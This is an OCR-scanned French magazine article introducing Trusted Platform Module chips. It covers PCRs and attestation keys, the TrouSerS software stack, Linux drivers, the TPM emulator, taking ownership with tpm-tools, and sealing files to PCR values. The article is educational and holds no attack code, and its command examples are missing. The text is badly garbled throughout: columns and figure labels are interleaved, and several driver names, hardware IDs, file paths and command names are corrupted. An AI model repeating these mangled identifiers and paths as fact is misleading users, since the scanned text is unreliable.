les Attestation Identity Key (AIK). Tout comme pour la mémoire
non volatile, un espace mémoire est aussi réservé pour le
stockage temporaire de données, notamment lors du décryptage
de certaines clefs.

2.4.1 Platform Configuration

Registers

La mesure de l'intégrité de la plate-forme est I'un des deux
principaux objectifs des TPM. Elle s’appuie sur les registres de
configuration de la plate-forme (Platform Configuration
Registers ou PCR) qui servent a garder une trace de ces mesures.

Les spécifications imposent que les PCR soient de taille
160 bits (pour stocker des condensats SHA-1) et qu’ils solent
au moins au nombre de 16 (numérotés de o0 a 15 et au-dela si
plus de 15).

2.4.2 Attestation Identity Key

Les Attestation Identity Key (AIK) sont des paires de clefs
RSA de 2048 bits associées a un mot de passe de 160 bits qui en
protége l'acces. Ces clefs remplissent un des autres objectifs des
TPM qui est de fournir a un tiers distant (et via un réseau non siir)
une preuve de l'intégrité (ou de la non intégrité) de la machine.

Pour cela, on communique a un demandeur externe le
contenu des registres PCR accompagné d'une preuve anonyme
de leur origine. Cette preuve se fait a travers la signature du
message qui liste le contenu des registres avec une AIK. Il est
important de comprendre que 'AIK en elle-méme ne permet
de savoir quelle TPM a certifié I'ensemble de ses registres,
mais seulement de savoir que la machine avee qui 'on commu-
nique a une TPM valide et a certifié I'ensemble de ses registres.
Connaitre l'identité précise de la TPM avec laquelle I'ont com-
munique requiert la mise en place d'une autorité de certification
externe. Dans ce dernier cas, le message contenant les PCR est
accompagne du certificat de I'autorité extérieure, identifiant
clairement la TPM, et est signée avec 'AIK.




—

3. TCG Software Stack

Le TCG n’a pas uniquement fourni les spécifications de la
plate-forme matérielle pour renforcer la sécurité des ordina-
teurs, il a aussi défini un environnement logiciel (API) qui aide
a interfacer aisément des applications aux puces. Ainsi la TCG
Software Stack [14] (TSS) définit les interfaces logicielles a
différents niveaux du systéme.

Le but du TSS est double : tout d’abord de fournir un envi-
ronnement uniforme de programmation d’applications ayant
besoin de s'appuyer sur des services cryptographiques forts sans
trop se préoccuper de la plate-forme particuliere sur laquelle
ils sont. L'autre but est aussi d'offrir un accés multiplexé des
applications a la puce TPM (afin d’autoriser I'accés simultané
de plusieurs applications i une unique puce TPM). En outre,
la puce TPM étant particuliérement isolée sur la carte-mere,
le TSS lui sert de prolongement nécessaire pour pouvoir com-
muniquer avec I'environnement local, ou méme distant, de la
plate-forme.

Si le TSS existe déja pour Microsoft Windows (Vista et 7),
[BM finance depuis 2004 le projet TrouSerS* qui I'implémente
pour Linux [8].
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3.1 TPM Device Driver

Le TPM Device Driver (TDD) et son interface (TDDi)
résident en espace noyau. Ils sont uniquement consti-

tués de modules noyau dont les sources se trouvent dans
inux-2.6.x/drivers/char/ton/. La couche TDD a pour but de gommer
les disparités qui existent entre les différentes puces afin d’y
avoir un acces unifié depuis 'espace utilisateur.

De fait, avant les spécifications TPM 1.2, 'accés aux puces
n'était pas normalisé et chaque fondeur avait sa propre inter-
face, ce qui explique le grand nombre de pilotes existants pour
gérer les puces TPM 1.1b (tpm_atmel, tpm_nsc et tpm_infineon). Depuis
les TPM 1.2, l'acces aux puces ayant été normalisé par le TPM
Interface Specification [9,2] (TIS), il fut possible de n'écrire
gu'un seul driver pour I'ensemble des puces TPM 1.2 (tpn_tis).

Les modules noyau tpm_bios et tpn permettent, respective-
ment, a la TPM de communiquer avec le BIOS et de se bran-
cher sur I'espace utilisateur (notamment via /dev/tpnl ou encore
fsys/class/misc/tpmd/device).

Lémulateur de TPM est, quant a lui, un peu particulier. Il
nécessite un module noyau supplémen-

Figure 2 : Pile Logicielle TPM de TrouSerS

D’un point de vue pragmatique, le TSS se décompose en un
ensemble de couches (Figure 2) qui ont toutes une tache bien

precise et que nous détaillons par la suite. Nous illustrerons ces
explications avec I'implémentation de TrouSerS.

taire (tpnd_dev) et un démon en espace
- ’ Application utilisateur (tpnd). Le démon simule la
User-space [ Biabiritc J i :
[l Kernel-space b puce avec toute ses capacités crypto
Bl Hardware EFM Eerﬂ'cﬂ graphiques, ses registres PCR, etc. et
Provider .
. KT e communique avec le module noyau
. & tpmd _dey gui lui-méme est branché surle
tpm-tools) [-‘Apﬂggnnzi Reseau pilote des puces TPM (tpn). Ainsi, bien
e it s i v e o e s e ke w5 P que simulant la puce TPM en espace
Tiiifg::'ce libtspi Lli.bt:pi i 1ihtlpi] utilisateur, le pilote {pn pense avoir
- o - e e e Ve affaire a une vraie puce TPM 1.2.
TSS Core
Services 4 T :l;c*sd' -
e R e R SO 3.2 TCG Device
evice | tdd] .
Driver Library{ === lih e Driver
S S s S s et e e e e e e RN lel‘ﬂl"y
TPM ' : ;
Device Le TCG Device Driver Library
Driver (TDDL) et son interface (TDDLi) rési-

dent en espace utilisateur et se trou-
vent dans [10tdd].s0. Le TDDL met en
place un moyen de communication

uniforme avec les puces TPM, I'API
. contient notamment des commandes
telles que Tddli_0Open(), Tdd1i_Close()
et Tdd1i_TransmitData(). A partir de cette couche, on peut, par
exemple, lister les capacités de la puce (Tdd1i_Getlapability()) et

les paramétrer (Tdd11_SetCapability()).
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3.3 TSS Core Services

Au-dessus de la TDDi, se trouve le multiplexeur TPM qui
gere les acees concurrents des applications a la puce TPM. Dans

cations utilisant les TPM se placent au niveau du dessus de la
pile logicielle et se connectent 4 ce serveur via une socket réseau
(habituellement sur le port 30003).

‘3.4 Les applications et leurs

TPM Service Provider

C'est a ce niveau de la TSS que se trouvent les applications
qui utilisent les TPM, comme les tpn-tools. Chaque application

Ouelle confiance accorder aux Trusted Platforms ?

charge son propre TPM Service Provider (TSP). Avec TrouSerS,
cela correspond simplement au chargement de la bibliothéque
11btspi.so qui offre les services eryptographiques de base de la
TPM (obtention de signatures, de condensats, stockage de clefs
cryptographiques, scellés de données, etc.).

A ce niveau de la pile TSS, I'application n’a pas  se sou-
cier des acces concurrents, ni du type de puce sur laquelle elle
repose. Tous ces problemes techniques sont gerés dans les
couches plus basses du TSS. Le TSP offre donc un environne-
ment tout a fait performant pour la mise en place de services
attachés a la plate-forme, mais qui restent facilement portables
d'une plate-forme a une autre.

4. Prise en main de la TPM

Larchitecture de la puce et I'environnement logiciel étant a
présent mieux compris, nous nous intéressons ici 4 la mise en
place d'un environnement TPM afin d'essayer les capacités de
ces puces. Nous commencons par détecter si votre plate-forme
possede effectivement une puce TPM, et d'en déterminer le type,
afin de l'activer via le BIOS (phase indispensable si on veut pou-

voir I'utiliser).

4.1 Deétection du type de la

TPM

La maniére la plus siire et la plus précise pour savoir si votre
ordinateur comporte une puce TPM est de passer par 'ACPI.
Cela nous permet, en prime, d'en déterminer le type. Pour cela,

sur une Debian unstable, il faut installer les paquets acpidump

(extracteur de table ACPI) et i3s! (compilateur/décompilateur
ASL d’'Intel) :

Lextraction de la table DSDT sous forme binaire et le désas-

semblage vers un format lisible de la table se font comme suit :

La présence d'une puce TPM sur votre ordinateur se traduit

par un morceau de code similaire a celui qui suit dans dsdt.asnl ;

18 Misc N° 45 - Septembre/Qctobre 2009

Le HID donne le type de la puce qui est ici une [F 1101, c'est-
a-dire une Infineon SLD 9630 qui suit la norme TPM 1.1b. Cette

puce n'est supportée que par le pilote tpm_infineon, mais la plupart
des puces actuelles le sont par tpn_1is. Ainsi, toutes les puces
ayant les HID suivants sont supportées par tpn_{is:

-3 [F101087 (Infineon TPM 1.2) ;

-~ ATMIZEY (ATMEL TPM 1.2) ;

—3 B(M0101 (BroadCom TPM 1.1b) ;

— §0M0107 (BroadCom TPM 1.2) ;

— |5C1700 (National SemiConductors TPM 1.2) ;
-8 [(06102 (Intel TPM 1.2 et TXT).

En outre, l'interface TPM 1.2 étant normalisée, il est possible
qu'une puce TPM 1.2 non listée ici soit compatible sans plus de
modification. Pour essayer, il vous suffit de rajouter le HID de la
puce en question dans le fichier Tinux-2.6.x/drivers/char/tpm/tpm_tis.c.

4.2 Activation par le BIOS

Une fois la puce TPM identifiée, nous devons l'activer en
allant dans le BIOS. Généralement, il y a un menu concernant
une Security Chip (ou quelque chose de similaire). Le BIOS
donne le choix de l'activer ou de la réinitialiser.

Si vous n'arrivez pas a activer votre puce, prenez la documen-
tation de votre BIOS. Les facons de faire variant énormement
d’un BIOS a l'autre. Elles ne sauraient toutes étre détaillées ici.
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A ce stade, votre puce TPM est identifiée et activée. Si vous
navez pas de puce TPM, nous détaillons comment installer un
emulateur sur votre machine. Nous commencons par détailler
I'installation des pilotes, de I'émulateur, puis de la TSS et, enfin,
d'une application locale de base, les tpn-fools.

TPM Hardware

5 ::!ljl-;: |

Arrow keys navigate the menu. <Enter> selects submenus ---=.
Highlighted letters are hotkeys. Pressing <Y> includes, <N> excludes,
<M> modularizes features. Press <Esc><Esc> to exit, <?> for Help, </>
for Search. Legend: [*] built-in [ ] excluded <M> module < >

Cette section se destine a ceux

qui n'ont pas de pas de puce TPM
sur leur machine. Le projet utilisé
ici est TPM-emulator” débuté en

--- TPM Hardware Support

<M> IPM Interface Specification 1.2 Interface
=M> National Semiconductor TPM Interface

<M> Infineon Technologies TPM Interface

< Exit > < Help =

2004 4 'ETCH de Zurich par Mario
Strasser. Il émule une puce TPM 1.2
qui est simulée par le démon tpn¢
en espace utilisateur et réinjecte
les résultats en espace noyau via le
module noyau tpnc_dev qui se place

sous le pilote fpn.

S — ==

Figure 3 : Configuration du support TPM duns le noyau Linux.

5.1 Linux TPM Drivers

Nous compilons le support pour les TPM au sein du noyau
Linux. Pour cela, nous supposons que vous étes a l'aise avec la
phase de la compilation noyau.

Les modules a sélectionner se trouvent dans le menu : leyice
Drivers > Cnaracter Devices > TPM Hardware Support (Figure 3).

Activez le module qui correspond a votre puce (et si vous
navez pas de puce, activez juste le support TPM sans choi-
sir de driver). Recompilez, installez votre nouveau noyau et

redémarrez.

5.2 TrouSersS et les tpm-tools

Sur un Debian (unstable), et probablement sur la plupart
des autres distributions, il existe des paquets pour installer ces

logiciels. Ainsi, il suffit d'installer les paquets suivants :

Avant de tester I'installation, vérifiez que les modules noyau
tpm, tpm_bios, ainsi que le pilote de votre puce sont bien chargés.

Puis, faites :

Mettre en place cet émulateur
commence par la récupération des
sources via le dépot Subversion

du projet :

Comme nous supposons que vous avez réecemment compilé
votre noyau, vous devriez avoir les header files du noyau ainsi
que les paquets 11bonpdc? et 1ibomp3-dey. Il suffit donc de taper

un simple :

La mise en place de I'émulateur se fait ensuite en exécutant
les commandes suivantes en root :

Testez le tout en faisant :
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6. Utilisation d’'une TPM

Cette section détaille les tpn-tools, la prise de possession
d'une puce TPM et, enfin, comment utiliser (de fagon trés som-
maire) la puce pour chiffrer des fichiers.

6.1 Les tpm-tools

Les tpm-tools sont un ensemble de commandes de base qui

assurent essentiellement la gestion des puces TPM, la configura-
tion de la puce dans un mode d’exécution particulier, la gestion
des mots de passe, etc. Le tableau ci-dessous liste 'ensemble des
commandes des {pn-L00'5 et explique rapidement ce que chacune
d’entre elles fait.

(Gestion des mots de passe:

~ tpm_takeownership

tpm_changeownerauth

. tpm_setoperatorauth Change le mot de passe du propriétaire

tpm_resetdalock .
mots de passe

- tpm_createek

;Epm_g_et‘pulie'k' £l |

tonreokest

e e

tpn_restrictpubek

tpm_restrictsrk

(GGestion des modes de la puct

tpm_setclearable Désactive l'action clesr

tpm_clear

tpm_setactive Positionne le flag active

tpim EEtEﬂﬂME Pﬂ&i‘t’i{iﬂl‘lé lﬂ ﬂag snahle

| tpm_setownable Positionne le flag ouned

tpm setpresence Positionne le flag PhysicalPresencel

L ek, om d o b

::: i

- tpm_version

L e e e e G T e A
————————

[

Chiffrement de fichiers

tpn_sealdata Scelle un fichier en 'attachant 4 un état de lTﬂrdiﬂ&teur
* tpm_unsealdata Retire le scellé d'un fichier si I'état de l‘nrﬂiﬂ&tgur"

est identique

Les commuandes des IJL'FH-EUU‘L‘:F
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Prise de possession de la puce (eréation d'une nouvelle
SRK, des mots de passe du propriétaire et de la SRK)
Change les mots de passe du propriétaire ou SRK

Renmise A zéro de la protection contre les attaques de

Remet la puce dans Uétat (¢isabled, iractive, unowned)

Notez que la plupart des commandes manipulant les modes
de la puce, les mots de passe ou encore les clefs nécessitent par-
fois un redémarrage complet de l'ordinateur. De plus, sachez que
les TPM et le mode hibernation (ou veille) de votre ordinateur se
mélangent mal. Souvent, la puce est inutilisable apres un retour
d’hibernation (ou de mise en veille).

6.2 Prise de possession
de la puce

La prise de possession de la puce s'effectue en trois étapes

et nécessite deux redémarrages. La premiére étape
est de réinitialiser la puce, la deuxieme de se mettre
dans un état ot I'on pourra prendre possession de
la puce et enfin la derniére étape consiste a prendre
effectivement possession de la puce.

6.2.1

Réinitialisation de

la puce
Avant de commencer cette étape, comprenez

bien que celle-ci va totalement réinitialiser
la puce et que toutes les données qui ont été chif-

frées via cette puce seront a tout jamais perdues.
Néanmoins, si vous n'avez encore jamais utilise
votre puce (ce qui est le cas le plus probable), ce
genre de probléme ne se posera pas.

Démarrez votre ordinateur en mode single-user,

puis exécutez les commandes :

Comme le suggére la derniére commande, il est
ensuite nécessaire de redémarrer l'ordinateur en
passant par une extinction totale (power-off).

Attention, certaines puces ne sont pas réinitia-
lisables via le systéme d'exploitation et nécessitent
de passer par le BIOS pour effectuer cette opération.

6.2.2 Passage dans le

mode adequat

Redémarrez a nouveau en mode single-user, puis
executez les commandes :




Une fois ces commandes effectuées et le redémarrage effec-
tif, la puce est dans un état correct pour la prise de possession.

Attention a nouveau, certaines puces TPM 1.1b ne fonction-
nent pas exactement de la méme manieéere que les TPM 1.2 et
nécessiteront quelques adaptations aux commandes qui vien-
nent d'étre décrites.

6.2.3 Prise de possession de la puce

Ceci représente la derniére phase de la prise de possession.

Nous y initialisons le mot de passe du propriétaire et la puce va
créer la SRK.

Notez que nous ne demandons pas de créer de mot de passe
pour protéger la SRK. En effet, dans un usage courant, nim-
porte quel utilisateur de la plate-forme doit pouvoir créer et pro-
teger une clef de chiffrement (qui aura son propre mot de passe
de toute facon) grace a la TPM. Protéger la SRK par un mot de
passe est donc plus une géne inutile pour les utilisateurs qu'autre
chose. A la place, nous définissions le mot de passe comme étant
une série de 20 octets de zéros grace a l'option --srk-well-known,

Démarrez une derniere fois en mode single-user, puis exé-
cutez les commandes suivantes :

Et voila, dés a présent, vous pouvez utiliser votre puce TPM.
Ici, nous avons fait afficher la clef publique de I'EK.

Dans cette toute derniére section, nous montrons comment

effectuer une pose de scellé sur un fichier. Cette opération consiste

a lier un fichier avec I'état courant de l'ordinateur (I'état est donné
par le BIOS, le noyau de systeme d'exploitation ainsi que quelques
logiciels). Une image de cet état est obtenue via un ensemble de
mesures que fait la puce TPM au démarrage et qui sont stockées
dans les PCR (mesures du BIOS, du novau, etc.). Tant que les PCR
restent identiques (c'est-a-dire que les objets mesurés ne sont pas
altérés), on peut facilement déchiffrer le fichier. Si jamais les PCR
changent, le fichier ne pourra plus étre déchiffré.

Par exemple, si 'on veut sceller un fichier avec les valeurs
des PCR 5 et 7 (et que la SRK est well-known) :

Le déchiffrement de ce fichier se fait avec I'outil tpn_unsealdata
des Tpm-tools (seulement a partir de la version 1.3.2). Mais, afin
de mettre un peu en application ce que nous venons de voir,
voici un programme (simplifié a I'extréme) qui peut faire la
méme chose (attention, il faut avoir !1btpn-unseall 1.3.2 pour que
cela marche). Il s'agit simplement de passer le nom du fichier
chiffre en argument et de retourner le fichier déchiffre sur la

sortie standard.

(o unseal files.
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Comme vous I'avez constaté, nous ne faisons appel qu'a deux Puis, exécutez-le en faisant simplement :

fonctions de la TSPi : tpnlnsealfile() et tpminsealstrerror(), Pour _

obtenir I'exécutable, compilez avec la ligne suivante :

Le fichier déchiffré doit avoir défilé sur la sortie standard
de la commande.

Conclusion

Cet article n'a évidemment fait qu'effleurer le sujet, nous Dans un prochain article, nous nous proposons d’explorer plus
avons évoqué l'histoire des puces TPM, leur architecture pour en profondeur les différentes capacités des puces TPM, notam-
ce qui est de la norme TPM 1.2 et nous vous avons montré com- ment en faisant le tour des méthodes de stockage de clefs cryp-
ment mettre en place une plate-forme permettant de tester un tographiques, du Trusted Boot ainsi que de I'envoi d'un certificat
tout petit sous-ensemble des fonctionnalités de cette puce. d’intégrité 4 un tiers distant. N

Remerciements

Nous tenons a remercier Hal Finney et Rajiv Andrade du projet TrouSersS.

1 Stoned (http://www.stoned-vienna.com/) ou vbootkit | 4 http://trousers.sourceforge.net/
(http://www.nvlabs.in/) et autres... 5 http://trustedjava.sourceforge.net/

2 http://www.cl.cam.ac.uk/ rjai4/tepa-faq.html 6 http://www.opentc.net/

3 http://www.trustedcomputinggroup.org/} 7 http://tpm-emulator.berlios.de/

Bibliographie

[1] BRINK (Derek), « Trusted Computing: Tune In, Turn it On », [8]1 SELHORST (Marcel), STUBLE (Christian) et
Aberdeen Group, février 2008. TEERKORN (Felix), TSS Study: Introduction and

[2] CHALLENE (David ), CATHERMAN (Ryan), SAFFORD (David), ‘;’;ﬂfgs"s;f ﬂ:gpf (sl soft i ‘?‘“fé :
VAN DOORN (Leendert) et YODER (Kent), A Practical Guide to M CRE SV DLINS DD ORI AR TR S \OL

Trusted Computing, chapitre 4: Writing a TPM Device Driver, IBM la dfmande {i.u Bureau fédéral Allemand de la sécurité
Press, 2008. de I'information), 2008.

[3]1 FLOISSAC (Noémie), Quel avenir pour les Trusted Platform [9] }Tszfd C;mp'-;f}“ﬂngmipr TCG PC Client Specific TPM
Module ?, Master Cryptologie et Sécurité Informatique (CSI), nterjace speciication, 2003.

Université Bordeaux 1, 2009. [10] Trusted Computing Group, TCG Specification
{41 GOUBIN (Louis) et LY (Olivier), « Stireté de fonctionnement et Architecture Ouerview (version 1.4), 2006,
sécurité des algorithmes eryptographiques », Misc, (42):77-82, | 11] Trusted Computing Group, TPM Main (Part 1): Design
mars-avril 2009. Principles (version 1.2), 2006.
[5] KRAWCZYK (H.), BELLARE (M.) et CANETTI (R.), HMAC: [12] Trusted Computing Group, TPM Main (Part 2): TPM
Keyed-Hashing for Message Authentication, RFC 2104, Internet Structures (version 1.2), 2006.
Engineering Task Force (IETF), février 199 [13] Trusted Computing Group, TPM Main (Part 3):
| 6] National Institute of Standards and Technology (NIST), FIPS 140-2: Commands (version 1.2), 2006.
Security Requirements for Cryptographic Modules, mars 2002, [14] Trusted Computing Group, TCG Software Stack (Part
[ 71 National Institute of Standards and Technology (NIST), FIPS 198: 1): Commands and Structures (version 1.2, level 1,

The Keyed-Hash Message Authentication Code (HMAC), mars 2002. Errata A), 2007.




